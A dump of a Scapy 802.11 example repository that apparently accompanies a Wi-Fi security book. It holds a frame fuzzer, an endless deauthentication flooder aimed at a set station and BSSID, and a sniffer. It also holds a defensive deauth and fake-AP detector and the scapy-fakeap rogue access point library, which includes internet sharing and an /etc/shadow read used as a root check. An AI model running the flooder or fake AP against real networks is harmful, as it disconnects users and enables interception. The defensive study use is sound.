fuzz(Dot11Elt(ID=3,info=RandByte(),len=RandByte())) 26 | 27 | # Send a packet every 1/10th of a second, 20 times 28 | sendp(basepkt, count=20, inter=0.100) 29 | -------------------------------------------------------------------------------- /ejemplo39.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from scapy.all import * 3 | from random import randint 4 | 5 | station='00:11:A0:4F:BE:37' 6 | bssid='00:12:BB:AC:FF:2C' 7 | intfmon='mon0' 8 | verbose=1 9 | 10 | while 1: 11 | for fuzzreason in range(32): 12 | pkt=Dot11(subtype=12, type=0, addr1=station, addr2=bssid, addr3=bssid) 13 | pkt/=Dot11Deauth(reason=fuzzreason) 14 | if verbose: pkt.show() 15 | sendp(pkt, iface=intfmon, count=10) 16 | 17 | -------------------------------------------------------------------------------- /ejemplo4.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | from scapy.all import * 4 | 5 | verbose=0 6 | intfmon='mon0' 7 | ap_list = [ ] ## list to avoid showing same ap many times 8 | 9 | def PacketHandler(pkt) : 10 | if pkt.haslayer(Dot11) : 11 | if pkt.type == 0 and pkt.subtype == 8: ## beacon frame 12 | if pkt.addr3 not in ap_list : 13 | ap_list.append(pkt.addr2) 14 | print "Found AP MAC %s with SSID:%s" %(pkt.addr2, pkt.info) 15 | if verbose >=1: pkt.show() 16 | elif pkt.type == 0 and pkt.subtype == 4: ## probe request 17 | if pkt.info != '': ## broadcast probe request 18 | print "STA with MAC %s asks for SSID:%s" %(pkt.addr2, pkt.info) 19 | if verbose >=1: pkt.show() 20 | 21 | sniff(iface=intfmon, prn = PacketHandler) 22 | -------------------------------------------------------------------------------- /ejemplo40.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import sys, logging 4 | import logging.handlers 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 6 | from scapy.all import * 7 | 8 | intfmon='mon0' ## monitor mode interface 9 | intfmain='wlan0' ## interface in managed mode connected to wifi APs 10 | channel=8 ## default channel 11 | bssid='00:18:39:AE:88:58' ## your AP MAC address 12 | macprotectlist=['12:93:2B:34:85:EE'] ## MAC addresses of your AP and clients 13 | ssidprotect='MySSID' 14 | notify=1 ## try to notify on gnome, dependent of libnotify 15 | savecap=1 ## will save captured packets from attack 16 | logging=1 ## will log to syslog 17 | filename='/tmp/attack_pkts.cap' ## directory and file name to save captured packets 18 | verbose=1 19 | pktlist=set() 20 | duration=6 ## attack duration in seconds to avoid be notified again 21 | lastdeauth=lastassoc=lastauth=time.time()-duration 22 | pktssaved=set() 23 | macprotectlist.append(bssid) 24 | [x.upper() for x in macprotectlist] ## convert all MAC addreses to upercase 25 | 26 | if notify: 27 | try: 28 | import gi 29 | gi.require_version('Notify', '0.7') 30 | from gi.repository import Notify 31 | Notify.init("WiFi Alert!") 32 | except: 33 | notify=0 34 | 35 | def PacketHandler(pkt): 36 | global lastdeauth,lastassoc,lastauth,pktssaved,duration,savecap,risk 37 | 38 | if pkt.haslayer(Dot11Deauth): 39 | if (pkt.addr1.upper() in macprotectlist or pkt.addr2.upper() in macprotectlist or pkt.addr3.upper() in macprotectlist) and time.time() > (lastdeauth+duration): 40 | lastdeauth=time.time() 41 | if pkt.sprintf("%Dot11Deauth.reason%").startswith('class3-from-nonass'): risk="RISK: HIGH!\n" 42 | message=pkt.sprintf("Deauth detected! \n from: %Dot11.addr1% \n to: %Dot11.addr2% \n Reason: %Dot11Deauth.reason%\n")+risk 43 | if notify: notifypopup(message) 44 | if verbose: print message 45 | if logging: slogger.critical('WIFIMON:'+ message) 46 | if savecap: 47 | try: 48 | writer = PcapWriter(filename, append=True) 49 | writer.write(pkt) 50 | writer.close() 51 | except: 52 | savecap=0 53 | 54 | elif pkt.haslayer(Dot11AssoReq): 55 | if (pkt.addr1.upper() in macprotectlist and not pkt.addr2.upper() in macprotectlist) and time.time() > (lastassoc+duration): 56 | lastassoc=time.time() 57 | risk="RISK: MEDIUM \n" 58 | message=pkt.sprintf("Association detected! \n Client %Dot11.addr2% \n AP: %Dot11Elt.info% \n BSSID: %Dot11.addr1% \n ")+risk 59 | if notify and time.time() > (lastauth+duration): notifypopup(message) 60 | if verbose: print message 61 | if logging: slogger.warn('WIFIMON:'+ message) 62 | if savecap: 63 | try: 64 | writer = PcapWriter(filename, append=True) 65 | writer.write(pkt) 66 | writer.close() 67 | except: 68 | savecap=0 69 | 70 | elif pkt.haslayer(Dot11Auth): 71 | if (pkt.addr1.upper() in macprotectlist and not pkt.addr2.upper() in macprotectlist) and time.time() > (lastauth+duration): 72 | lastauth=time.time() 73 | risk="RISK: MEDIUM \n" 74 | message=pkt.sprintf("Authentication detected! \n Client: %Dot11.addr2% \n AP: %Dot11.addr1% \n")+risk 75 | if verbose: print message 76 | if notify and time.time() > (lastassoc+duration): notifypopup(message) 77 | if logging: slogger.warn('WIFIMON:'+ message) 78 | if savecap: 79 | try: 80 | writer = PcapWriter(filename, append=True) 81 | writer.write(pkt) 82 | writer.close() 83 | except: 84 | savecap=0 85 | 86 | elif pkt.haslayer(Dot11ProbeResp): ### ojo 87 | if pkt.info(): 88 | if not ssidprotect or ssidprotect != pkt.info(): return 89 | if (pkt.addr3.upper() in macprotectlist) and time.time() > (lastproberesp+duration): 90 | lastproberesp=time.time() 91 | risk="RISK: HIGH \n" 92 | message=pkt.sprintf("A possible FAKEAP detected! \n Client: %Dot11.addr2% \n AP: %Dot11.addr1% \n")+risk 93 | if verbose: print message 94 | if notify and time.time() > (lastproberesp+duration): notifypopup(message) 95 | if logging: slogger.warn('WIFIMON:'+ message) 96 | if savecap: 97 | try: 98 | writer = PcapWriter(filename, append=True) 99 | writer.write(pkt) 100 | writer.close() 101 | except: 102 | savecap=0 103 | 104 | def SetChannel(channel): 105 | cmd0 = 'ifconfig %s up >/dev/null 2>&1' % (intfmon) 106 | cmd1 = 'iw dev %s set channel %s >/dev/null 2>&1' % (intfmon, channel) 107 | try: 108 | os.system(cmd0) 109 | os.system(cmd1) 110 | if verbose: print "Setting %s to channel: %s" %(intfmon,channel) 111 | except: 112 | if verbose: print "Error setting channel for %s" %intfmon 113 | if logging: slogger.debug("Error setting channel for %s" %intfmon) 114 | 115 | def notifypopup(message): 116 | try: 117 | popup=Notify.Notification.new('WiFi Alert:', message, "dialog-alert") 118 | popup.show() 119 | except: 120 | pass 121 | 122 | 123 | # Start syslog handler 124 | try: 125 | if logging: 126 | slogger = logging.getLogger('OBJLogger') 127 | slogger.setLevel(logging.ERROR) 128 | shandler = logging.handlers.SysLogHandler(address = '/dev/log') 129 | slogger.addHandler(shandler) 130 | except: 131 | logging=0 132 | 133 | # Start sniffer 134 | if type(channel)=='int': channel=str(channel) 135 | if channel: SetChannel(channel) 136 | 137 | if savecap: print "Capture option enabled: saved cap stored in: %s" %(filename) 138 | if logging: slogger.debug("WIFIMON: Starting scanning proccess in %s." %intfmon) 139 | 140 | if verbose: print "Looking for suspicious packets in channel %s" %channel 141 | sniff(iface=intfmon, prn=PacketHandler, store=False, lfilter=lambda pkt:Dot11 in pkt) 142 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | scapy_fakeap.egg-info/ 3 | TODO 4 | pull_trees.sh 5 | push_trees.sh 6 | examples/dev.py 7 | *.pyc 8 | *.conf 9 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/README.md: -------------------------------------------------------------------------------- 1 | scapy-fakeap 2 | ============ 3 | 4 | Fake wireless Access Point (AP) implementation using Python and Scapy, intended for convenient testing of 802.11 protocols and implementations. This library is a work in progress, and currently only supports open 802.11 networks. 5 | 6 | 7 | Motivation 8 | ---------- 9 | 10 | Testing 802.11 protocols and implementations for bugs or security vulnerabilities requires a simple and flexible AP implementation. This library aims to provide these features by using the popular packet manipulation program 'Scapy' for data transmission and reception. 11 | 12 | 13 | Installation 14 | ------------ 15 | 16 | You will need to have the following packages installed: 17 | - ```scapy``` 18 | - ```ip``` 19 | - ```airmon-ng``` 20 | - ```dnsmasq``` (optional) 21 | 22 | Then, run ```python2 setup.py install``` to install ```scapy-fakeap```. 23 | 24 | 25 | Examples 26 | -------- 27 | 28 | First, set up your device in monitor mode. You can use ```airmon-ng``` or ```iw```: 29 | 30 | ``` 31 | # iw dev wlan0 interface add mon0 type monitor 32 | # ifconfig mon0 up 33 | ``` 34 | 35 | From there, setting up a basic AP with ```scapy-fakeap``` is extremely simple, as shown in the example below: 36 | 37 | ```python 38 | # This example is a simple 'hello world' for scapy-fakeap. 39 | # An open network will be created that can be joined by 802.11 enabled devices. 40 | 41 | from fakeap import * 42 | 43 | ap = FakeAccessPoint('mon0', 'Hello scapy-fakeap world!') 44 | ap.run() 45 | ``` 46 | 47 | For more examples, please see the 'examples' folder. 48 | 49 | 50 | Callbacks 51 | --------- 52 | 53 | The behaviour of the AP can be completely customized by changing the callbacks associated with a certain event. To do this, pass a custom ```Callbacks()``` object to the ```FakeAccessPoint``` constructor or to an instance during runtime. Currently, the following callbacks are provided: 54 | 55 | - ```cb_recv_pkt```: Triggered every time a packet is received. This callback defines when all other callbacks are triggered. 56 | - ```cb_dot11_probe_req```: Triggered on reception of a Probe Request frame. The default behaviour is to reply with a Probe Response frame. 57 | - ```cb_dot11_beacon```: Triggered every 0.1 seconds. The default behaviour is to send a Beacon frame. 58 | - ```cb_dot11_auth```: Triggered on reception of an Authentication Request frame. The default behaviour is to reply with an Authentication Response frame. 59 | - ```cb_dot11_assoc_req```: Triggered on reception of an Association Request frame. The default behaviour is to reply with an Association Response frame. 60 | - ```cb_dot11_rts```: Triggered on reception of an RTS frame. The default behaviour is to reply with a CTS frame. 61 | - ```cb_arp_req```: Triggered on reception of an ARP Request. The default behaviour is to reply with an ARP Response. 62 | - ```cb_dot1X_eap_req```: Triggered on reception of an 802.1X EAP Request frame. The default behaviour is to reply with an 802.1X EAP Response frame. 63 | - ```cb_dhcp_discover```: Triggered on reception of a DHCP Discover message. The default behaviour is to forward the message to ```dnsmasq```. 64 | - ```cb_dhcp_request```: Triggered on reception of a DHCP Request message. The default behaviour is to forward the message to ```dnsmasq```. 65 | - ```cb_dns_request```: Triggered on reception of a DNS Request message. The default behaviour is to forward the message to ```dnsmasq```. 66 | - ```cb_tint_read```: Triggered on reception of a packet from the ```fakeap``` virtual interface. This callback defines when callbacks related to this interface are triggered. 67 | 68 | 69 | ### Writing your own callback: 70 | The following example shows how a custom callback for a ```Callbacks()``` instance can be easily created: 71 | 72 | ```python 73 | # This example demonstrates how to create a new callback for a specific Callbacks() instance. 74 | # The callback will trigger each time an EAPOL packet is sniffed. 75 | 76 | from types import MethodType 77 | from scapy.layers.dot11 import EAPOL 78 | from fakeap import * 79 | 80 | 81 | def do_something(self): # Our custom callback 82 | print("Got EAPOL packet!") 83 | 84 | 85 | def my_recv_pkt(self, packet): # We override recv_pkt to include a trigger for our callback 86 | if EAPOL in packet: 87 | self.cb_do_something() 88 | self.recv_pkt(packet) 89 | 90 | ap = FakeAccessPoint('mon0', 'My first callback!') 91 | ap.wpa = AP_WLAN_TYPE_WPA2 # Enable WPA2 92 | ap.ieee8021x = 1 # Enable 802.1X (WPA-Enterprise) 93 | my_callbacks = Callbacks(ap) 94 | my_callbacks.cb_recv_pkt = MethodType(my_recv_pkt, my_callbacks) 95 | my_callbacks.cb_do_something = MethodType(do_something, my_callbacks) 96 | ap.callbacks = my_callbacks 97 | 98 | ap.run() 99 | ``` 100 | 101 | 102 | Service interaction 103 | ------------------- 104 | 105 | Upon instantiation of a ```FakeAccessPoint``` object, scapy-fakeap automatically creates the ```fakeap``` virtual interface, which may be used for interacting with other services. For example, you can set it as the listen interface for ```dnsmasq``` to use a DHCP server for your fake AP. -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/build/lib.linux-x86_64-2.7/fakeap/__init__.py: -------------------------------------------------------------------------------- 1 | from .fakeap import FakeAccessPoint 2 | from .callbacks import Callbacks 3 | from .constants import AP_WLAN_TYPE_OPEN, AP_WLAN_TYPE_WPA, AP_WLAN_TYPE_WPA2, \ 4 | AP_WLAN_TYPE_WPA_WPA2 5 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/build/lib.linux-x86_64-2.7/fakeap/arp.py: -------------------------------------------------------------------------------- 1 | import threading 2 | from rpyutils import printd, Level 3 | 4 | 5 | class ARPHandler(): 6 | def __init__(self): 7 | self.mutex = threading.Lock() 8 | self.arp_table = {} 9 | 10 | def add_entry(self, client_ip, client_mac): 11 | self.mutex.acquire() 12 | if client_ip not in self.arp_table: 13 | self.arp_table[client_ip] = client_mac 14 | self.mutex.release() 15 | 16 | def get_entry(self, client_ip): 17 | self.mutex.acquire() 18 | try: 19 | temp = self.arp_table[client_ip] 20 | except KeyError: 21 | temp = None 22 | printd("Could not find IP %s in ARP table." % client_ip, Level.WARNING) 23 | self.mutex.release() 24 | 25 | return temp 26 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/build/lib.linux-x86_64-2.7/fakeap/conf.py: -------------------------------------------------------------------------------- 1 | from ConfigParser import ConfigParser, NoOptionError 2 | from rpyutils import printd, Level 3 | 4 | 5 | class ConfigHeader(object): 6 | def __init__(self, fp): 7 | self.fp = fp 8 | self.first_line = True 9 | self.dummy_section = '[fakeap]\n' 10 | 11 | def readline(self): 12 | if self.first_line: 13 | self.first_line = False 14 | return self.dummy_section 15 | else: 16 | return self.fp.readline() 17 | 18 | 19 | class Conf(ConfigParser): 20 | def __init__(self, path): 21 | ConfigParser.__init__(self) # ConfigParser is an old-style class... Can't user 'super' 22 | self.path = path 23 | self.readfp(ConfigHeader(open(path))) 24 | 25 | def get(self, key, default=None): 26 | value = None 27 | try: 28 | value = ConfigParser.get(self, 'fakeap', key) 29 | except NoOptionError as e: 30 | value = default 31 | printd("Option '%s' not specified in config file. Using default." % e.option, Level.WARNING) 32 | 33 | printd("%s -> %s" % (key, value), Level.INFO) 34 | 35 | return value 36 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/build/lib.linux-x86_64-2.7/fakeap/constants.py: -------------------------------------------------------------------------------- 1 | import platform 2 | 3 | RUNNING_ON_PI = platform.machine() == 'armv6l' 4 | DEFAULT_DNS_SERVER = "8.8.8.8" 5 | RSN = "\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x28\x00" 6 | 7 | AP_WLAN_TYPE_OPEN = 0 8 | AP_WLAN_TYPE_WPA = 1 9 | AP_WLAN_TYPE_WPA2 = 2 10 | AP_WLAN_TYPE_WPA_WPA2 = 3 11 | AP_AUTH_TYPE_OPEN = 0 12 | AP_AUTH_TYPE_SHARED = 1 13 | AP_RATES = "\x0c\x12\x18\x24\x30\x48\x60\x6c" 14 | 15 | DOT11_MTU = 4096 16 | 17 | DOT11_TYPE_MANAGEMENT = 0 18 | DOT11_TYPE_CONTROL = 1 19 | DOT11_TYPE_DATA = 2 20 | 21 | DOT11_SUBTYPE_DATA = 0x00 22 | DOT11_SUBTYPE_PROBE_REQ = 0x04 23 | DOT11_SUBTYPE_AUTH_REQ = 0x0B 24 | DOT11_SUBTYPE_ASSOC_REQ = 0x00 25 | DOT11_SUBTYPE_REASSOC_REQ = 0x02 26 | DOT11_SUBTYPE_QOS_DATA = 0x28 27 | 28 | 29 | IFNAMSIZ = 16 30 | IFF_TUN = 0x0001 31 | IFF_TAP = 0x0002 # Should we want to tunnel layer 2... 32 | IFF_NO_PI = 0x1000 33 | TUNSETIFF = 0x400454ca -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/build/lib.linux-x86_64-2.7/fakeap/eap.py: -------------------------------------------------------------------------------- 1 | import threading 2 | 3 | 4 | class EAPCode: 5 | REQUEST = 1 6 | RESPONSE = 2 7 | SUCCESS = 3 8 | FAILURE = 4 9 | 10 | 11 | class EAPType: 12 | IDENTITY = 1 13 | NOTIFICATION = 2 14 | NAK = 3 15 | MD5_CHALLENGE = 4 16 | OTP = 5 17 | GENERIC_TOKEN_CARD = 6 18 | EAP_TLS = 13 19 | EAP_LEAP = 17 20 | EAP_SIM = 18 21 | TTLS = 21 22 | PEAP = 25 23 | MSCHAP_V2 = 29 24 | EAP_CISCO_FAST = 43 25 | 26 | @classmethod 27 | def convert_type(cls, type_value): 28 | for key, value in vars(cls).iteritems(): 29 | if value == type_value: 30 | return str(key) 31 | 32 | 33 | class EAPHandler(): 34 | def __init__(self): 35 | self.id = 0 36 | self.mutex = threading.Lock() 37 | 38 | def next_id(self): 39 | self.mutex.acquire() 40 | self.id = (self.id + 1) 41 | temp = self.id 42 | self.mutex.release() 43 | 44 | return temp 45 | 46 | def reset_id(self): 47 | self.mutex.acquire() 48 | self.id = 0 49 | self.mutex.release() -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/build/lib.linux-x86_64-2.7/fakeap/fakeap.py: -------------------------------------------------------------------------------- 1 | 2 | import subprocess 3 | from scapy.all import sniff 4 | from .eap import * 5 | from .arp import * 6 | from rpyutils import check_root, get_frequency, if_hwaddr, clear_ip_tables 7 | from .callbacks import Callbacks 8 | from .tint import TunInterface 9 | from .conf import Conf 10 | from time import time, sleep 11 | from scapy.layers.dot11 import RadioTap, conf as scapyconf 12 | from scapy.layers.inet import TCP 13 | 14 | 15 | class FakeAccessPoint(object): 16 | class FakeBeaconTransmitter(threading.Thread): 17 | def __init__(self, ap): 18 | threading.Thread.__init__(self) 19 | self.ap = ap 20 | self.setDaemon(True) 21 | self.interval = 0.1 22 | 23 | def run(self): 24 | while True: 25 | for ssid in self.ap.ssids: 26 | self.ap.callbacks.cb_dot11_beacon(ssid) 27 | 28 | # Sleep 29 | sleep(self.interval) 30 | 31 | @classmethod 32 | def from_file(cls, path): 33 | conf = Conf(path) 34 | 35 | # Required 36 | interface = conf.get('interface', 'mon0') 37 | ssid = conf.get('ssid', 'github.com/rpp0/scapy-fakeap') 38 | bpffilter = conf.get('filter', "") 39 | 40 | # Apply required settings 41 | ap = FakeAccessPoint(interface, ssid, bpffilter=bpffilter) 42 | 43 | # Apply optional settings 44 | ap.channel = int(conf.get('channel', 1)) 45 | ap.mac = conf.get('mac', if_hwaddr(interface)) 46 | ap.wpa = conf.get('wpa', 0) 47 | ap.ieee8021x = conf.get('ieee8021x', 0) 48 | ap.ip = conf.get('ip', '10.0.0.1/24') 49 | 50 | return ap 51 | 52 | def __init__(self, interface, ssid, bpffilter=""): 53 | self.callbacks = Callbacks(self) 54 | self.ssids = [] 55 | self.current_ssid_index = 0 56 | 57 | self.interface = interface 58 | self.inet_interface = None 59 | self.channel = 1 60 | self.mac = if_hwaddr(interface) 61 | self.wpa = 0 62 | self.ieee8021x = 0 63 | self.lfilter = None 64 | self.hidden = False 65 | if bpffilter == "": 66 | self.bpffilter = "not ( wlan type mgt subtype beacon ) and ((ether dst host " + self.mac + ") or (ether dst host ff:ff:ff:ff:ff:ff))" 67 | else: 68 | self.bpffilter = bpffilter 69 | self.ip = '10.0.0.1/24' 70 | self.boottime = time() 71 | self.sc = 0 72 | self.aid = 0 73 | self.mutex = threading.Lock() 74 | 75 | # Protocol handlers 76 | self.eap = EAPHandler() 77 | self.arp = ARPHandler() 78 | 79 | self.add_ssid(ssid) 80 | self.beaconTransmitter = self.FakeBeaconTransmitter(self) 81 | 82 | self.tint = None 83 | 84 | def share_internet(self, dev): 85 | TCP.payload_guess = [] 86 | clear_ip_tables() 87 | 88 | # Postrouting 89 | if subprocess.call(['iptables', '--table', 'nat', '--append', 'POSTROUTING', '--out-interface', dev, '-j', 'MASQUERADE']): 90 | printd("Failed to setup postrouting for interface %s." % dev, Level.CRITICAL) 91 | 92 | # Forward 93 | if subprocess.call(['iptables', '--append', 'FORWARD', '--in-interface', self.tint.name, '-j', 'ACCEPT']): 94 | printd("Failed to setup forwarding for interface %s." % self.tint.name, Level.CRITICAL) 95 | 96 | # Enable IP forwarding 97 | if subprocess.call(['sysctl', '-w', 'net.ipv4.ip_forward=1']): 98 | printd("Failed to enable IP forwarding.", Level.CRITICAL) 99 | 100 | printd("IP packets will be routed through %s." % dev, Level.INFO) 101 | 102 | def add_ssid(self, ssid): 103 | if not ssid in self.ssids and ssid != '': 104 | self.ssids.append(ssid) 105 | 106 | def remove_ssid(self, ssid): 107 | if ssid in self.ssids: 108 | self.ssids.remove(ssid) 109 | 110 | def get_ssid(self): 111 | if len(self.ssids) > 0: 112 | return self.ssids[self.current_ssid_index] 113 | 114 | def cycle_ssid(self): 115 | maxidx = len(self.ssids) 116 | self.current_ssid_index = ((self.current_ssid_index + 1) % maxidx) 117 | 118 | def current_timestamp(self): 119 | return (time() - self.boottime) * 1000000 120 | 121 | def next_sc(self): 122 | self.mutex.acquire() 123 | self.sc = (self.sc + 1) % 4096 124 | temp = self.sc 125 | self.mutex.release() 126 | 127 | return temp * 16 # Fragment number -> right 4 bits 128 | 129 | def next_aid(self): 130 | self.mutex.acquire() 131 | self.aid = (self.aid + 1) % 2008 132 | temp = self.aid 133 | self.mutex.release() 134 | 135 | return temp 136 | 137 | def get_radiotap_header(self): 138 | radiotap_packet = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + get_frequency(self.channel) + '\xc0\x00\xc0\x01\x00\x00') 139 | return radiotap_packet 140 | 141 | def run(self): 142 | check_root() 143 | if not self.hidden: 144 | self.beaconTransmitter.start() 145 | 146 | self.tint = TunInterface(self) 147 | self.tint.start() 148 | 149 | if self.inet_interface is not None: 150 | self.share_internet(self.inet_interface) 151 | scapyconf.iface = self.interface 152 | sniff(iface=self.interface, prn=self.callbacks.cb_recv_pkt, store=0, filter=self.bpffilter) -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/build/lib.linux-x86_64-2.7/fakeap/rpyutils/__init__.py: -------------------------------------------------------------------------------- 1 | from rpyutils import * 2 | pass -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/build/lib.linux-x86_64-2.7/fakeap/rpyutils/rpyutils.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import re 3 | import os 4 | import struct 5 | from scapy.arch import str2mac, get_if_raw_hwaddr 6 | 7 | 8 | class Level: 9 | CRITICAL = 0 10 | WARNING = 1 11 | INFO = 2 12 | DEBUG = 3 13 | BLOAT = 4 14 | 15 | VERBOSITY = Level.INFO 16 | 17 | 18 | class Color: 19 | GREY = '\x1b[1;37m' 20 | GREEN = '\x1b[1;32m' 21 | BLUE = '\x1b[1;34m' 22 | YELLOW = '\x1b[1;33m' 23 | RED = '\x1b[1;31m' 24 | MAGENTA = '\x1b[1;35m' 25 | CYAN = '\x1b[1;36m' 26 | 27 | 28 | def clr(color, text): 29 | return color + str(text) + '\x1b[0m' 30 | 31 | 32 | def check_root(): 33 | if not os.geteuid() == 0: 34 | printd(clr(Color.RED, "Run as root."), Level.CRITICAL) 35 | exit(1) 36 | 37 | 38 | def check_root_shadow(): 39 | dev_null = open(os.devnull, 'w') 40 | 41 | try: 42 | subprocess.check_output(['cat', '/etc/shadow'], stderr=dev_null) 43 | except subprocess.CalledProcessError: 44 | printd(clr(Color.RED, "Run as root."), Level.CRITICAL) 45 | exit(1) 46 | 47 | 48 | def set_monitor_mode(wlan_dev, enable=True): 49 | monitor_dev = None 50 | if enable: 51 | result = subprocess.check_output(['airmon-ng', 'start', wlan_dev]) 52 | if not "monitor mode enabled on" in result: 53 | printd(clr(Color.RED, "ERROR: Airmon could not enable monitor mode on device %s. Make sure you are root, and that" \ 54 | "your wlan card supports monitor mode." % wlan_dev), Level.CRITICAL) 55 | exit(1) 56 | monitor_dev = re.search(r"monitor mode enabled on (\w+)", result).group(1) 57 | 58 | printd("Airmon set %s to monitor mode on %s" % (wlan_dev, monitor_dev), Level.INFO) 59 | else: 60 | subprocess.check_output(['airmon-ng', 'stop', wlan_dev]) 61 | 62 | return monitor_dev 63 | 64 | 65 | def set_ip_address(dev, ip): 66 | if subprocess.call(['ip', 'addr', 'add', ip, 'dev', dev]): 67 | printd("Failed to assign IP address %s to %s." % (ip, dev), Level.CRITICAL) 68 | 69 | if subprocess.call(['ip', 'link', 'set', 'dev', dev, 'up']): 70 | printd("Failed to bring device %s up." % dev, Level.CRITICAL) 71 | 72 | 73 | def clear_ip_tables(): 74 | if subprocess.call(['iptables', '--flush']): 75 | printd("Failed to flush iptables.", Level.CRITICAL) 76 | if subprocess.call(['iptables', '--table', 'nat', '--flush']): 77 | printd("Failed to flush iptables NAT.", Level.CRITICAL) 78 | if subprocess.call(['iptables', '--delete-chain']): 79 | printd("Failed to delete iptables chain.", Level.CRITICAL) 80 | if subprocess.call(['iptables', '--table', 'nat', '--delete-chain']): 81 | printd("Failed to delete iptables NAT chain.", Level.CRITICAL) 82 | 83 | 84 | def printd(string, level): 85 | if VERBOSITY >= level: 86 | print(string) 87 | 88 | 89 | def hex_offset_to_string(byte_array): 90 | temp = byte_array.replace("\n", "") 91 | temp = temp.replace(" ", "") 92 | return temp.decode("hex") 93 | 94 | 95 | def get_frequency(channel): 96 | if channel == 14: 97 | freq = 2484 98 | else: 99 | freq = 2407 + (channel * 5) 100 | 101 | freq_string = struct.pack(" IFNAMSIZ: 16 | raise Exception("Tun interface name cannot be larger than " + str(IFNAMSIZ)) 17 | 18 | self.name = name 19 | self.setDaemon(True) 20 | self.ap = ap 21 | 22 | # Virtual interface 23 | self.fd = open('/dev/net/tun', 'r+b') 24 | ifr_flags = IFF_TUN | IFF_NO_PI # Tun device without packet information 25 | ifreq = struct.pack('16sH', name, ifr_flags) 26 | fcntl.ioctl(self.fd, TUNSETIFF, ifreq) # Syscall to create interface 27 | 28 | # Assign IP and bring interface up 29 | set_ip_address(name, self.ap.ip) 30 | 31 | print("Created TUN interface %s at %s. Bind it to your services if needed." % (name, self.ap.ip)) 32 | 33 | def write(self, pkt): 34 | os.write(self.fd.fileno(), str(pkt[IP])) # Strip layer 2 35 | 36 | def read(self): 37 | raw_packet = os.read(self.fd.fileno(), DOT11_MTU) 38 | return raw_packet 39 | 40 | def close(self): 41 | os.close(self.fd.fileno()) 42 | 43 | def run(self): 44 | while True: 45 | raw_packet = self.read() 46 | self.ap.callbacks.cb_tint_read(raw_packet) -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/dist/scapy_fakeap-0.1-py2.7.egg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yadox666/PythonScapyDot11_TheBook/09370e4e764099dc3399ece9442b98703860eb9d/ejemplo41/scapy-fakeap-master/dist/scapy_fakeap-0.1-py2.7.egg -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/examples/customcallback.py: -------------------------------------------------------------------------------- 1 | # This example demonstrates how to create a new callback for a specific Callbacks() instance. 2 | # The callback will trigger each time an EAPOL packet is sniffed. 3 | 4 | from types import MethodType 5 | from scapy.layers.dot11 import EAPOL 6 | from fakeap import * 7 | 8 | 9 | def do_something(self): # Our custom callback 10 | print("Got EAPOL packet!") 11 | 12 | 13 | def my_recv_pkt(self, pkt): # We override recv_pkt to include a trigger for our callback 14 | if EAPOL in pkt: 15 | self.cb_do_something() 16 | self.recv_pkt(pkt) 17 | 18 | ap = FakeAccessPoint('mon0', 'My first callback!') 19 | ap.wpa = AP_WLAN_TYPE_WPA2 # Enable WPA2 20 | ap.ieee8021x = 1 # Enable 802.1X (WPA-Enterprise) 21 | my_callbacks = Callbacks(ap) 22 | my_callbacks.cb_recv_pkt = MethodType(my_recv_pkt, my_callbacks) 23 | my_callbacks.cb_do_something = MethodType(do_something, my_callbacks) 24 | ap.callbacks = my_callbacks 25 | 26 | ap.run() -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/examples/helloworld.py: -------------------------------------------------------------------------------- 1 | 2 | # This example is a simple 'hello world' for scapy-fakeap. 3 | # An open network will be created that can be joined by 802.11 enabled devices. 4 | 5 | from fakeap import * 6 | 7 | ap = FakeAccessPoint('mon0', 'WLAN_WL55') 8 | ap.run() 9 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/examples/helloworld_file.py: -------------------------------------------------------------------------------- 1 | # This example is a simple 'hello world' for scapy-fakeap. 2 | # An open network will be created that can be joined by 802.11 enabled devices. 3 | # The AP configuration is specified in 'example.conf'. 4 | 5 | from fakeap import FakeAccessPoint 6 | 7 | ap = FakeAccessPoint.from_file('example.conf') 8 | ap.run() -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/__init__.py: -------------------------------------------------------------------------------- 1 | from .fakeap import FakeAccessPoint 2 | from .callbacks import Callbacks 3 | from .constants import AP_WLAN_TYPE_OPEN, AP_WLAN_TYPE_WPA, AP_WLAN_TYPE_WPA2, \ 4 | AP_WLAN_TYPE_WPA_WPA2 5 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/arp.py: -------------------------------------------------------------------------------- 1 | import threading 2 | from rpyutils import printd, Level 3 | 4 | 5 | class ARPHandler(): 6 | def __init__(self): 7 | self.mutex = threading.Lock() 8 | self.arp_table = {} 9 | 10 | def add_entry(self, client_ip, client_mac): 11 | self.mutex.acquire() 12 | if client_ip not in self.arp_table: 13 | self.arp_table[client_ip] = client_mac 14 | self.mutex.release() 15 | 16 | def get_entry(self, client_ip): 17 | self.mutex.acquire() 18 | try: 19 | temp = self.arp_table[client_ip] 20 | except KeyError: 21 | temp = None 22 | printd("Could not find IP %s in ARP table." % client_ip, Level.WARNING) 23 | self.mutex.release() 24 | 25 | return temp 26 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/callbacks.py: -------------------------------------------------------------------------------- 